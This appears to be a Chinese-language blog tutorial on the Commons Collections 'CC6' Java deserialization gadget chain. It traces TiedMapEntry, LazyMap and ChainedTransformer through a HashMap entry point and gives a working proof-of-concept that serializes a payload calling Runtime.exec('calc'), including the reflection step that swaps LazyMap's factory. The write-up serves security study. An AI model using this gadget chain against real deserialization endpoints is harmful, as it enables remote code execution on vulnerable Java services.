java反序列化_link_six
阅读原文时间:2023年07月09日阅读:1

0x01前言

经过cc链一的学习,然后jdk的版本一更新那两条链子就不能用了,然后这种反序列化的话就很不不止依赖于cc包的引入还有jdk版本,于是就出现了cc_link_six一个不依赖于jdk版本的漏洞

先上图后面危险函数的调用方法还是transform方法然后利用后面变成了HashMap作为入口类

0x02结构

还是看一下利用流程

这是TiedMapEntry的的hashcode方法然后调用了getvalue方法

随后在这个方法就是用调用了某个map的get方法然后这个map和key是构造方法里面的参数我们可以直接控制这样我们就可以调用LazyMap的get方法

还是加一手LazyMap的get方法图

前面后面transfrom就不放了到这里链子已经很清晰了

0x03手搓起来

这条链子的其实就是urldns链子跟cc链子的结合体,这条链子的利用的恶意函数还是它还是写一下poc吧

public class cc_link_6_demo {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        //URLdns链子的开端
        HashMap<Object, Object> map = new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
        //因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
        TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
        HashMap<Object, Object> map1 = new HashMap<>();

        map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
        laztMap.remove("aaaa");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
        //HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
        serialize(map1);
        unseriallize("src.bin");

    }

在下面仔细的跟踪了一下流程

0x04细致的跟踪一下整个流程

put方法会调用hash方法

hash会调用hashcode方法,然后会调用到TiedMapEntry的getvalue方法

然后因为TiedMapEntry利用的是LazyMap

所以调用的是LazyMap的get方法

然后我们发现在这里就会调用transform方法如果不加以修改的话会在序列化的时候就调用这个方法,我们继续跟下去干这个里会,从return上面来看他会让我们当时的LazyMap里面的map值增加一个key,这个时候我们的lazymap,然后hashmap是空的

这个时候就会跳转的到返回语句给我们的lazymap增加一个key是aaaa

然后后面就是返回值的调用就没有实际意义继续往下看

走出来以后我们可以知道lazymap当时就是有值的了还是key值,这个时候我们再去反序列化调用的时候如果调到map1的可以的hashcode的时候就会执行不到我们要TiedMapEntry的hashcode所以我们要把那个key给删掉然后把lazymap里面的值改掉,然后改成我们要执行的chainsformer,然后就是从chainsfaormer调用下去的循环调用transform方法调用到exec方法

这条链子了就跟我接触的第一条链子就是URLdns链子进行了结合形成了一个不依赖jdk环境的反序列化漏洞的入口

然后和cc链子上面危险的函数进行结合,最后形成了这样一条比较完美的链子

整个流程

        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()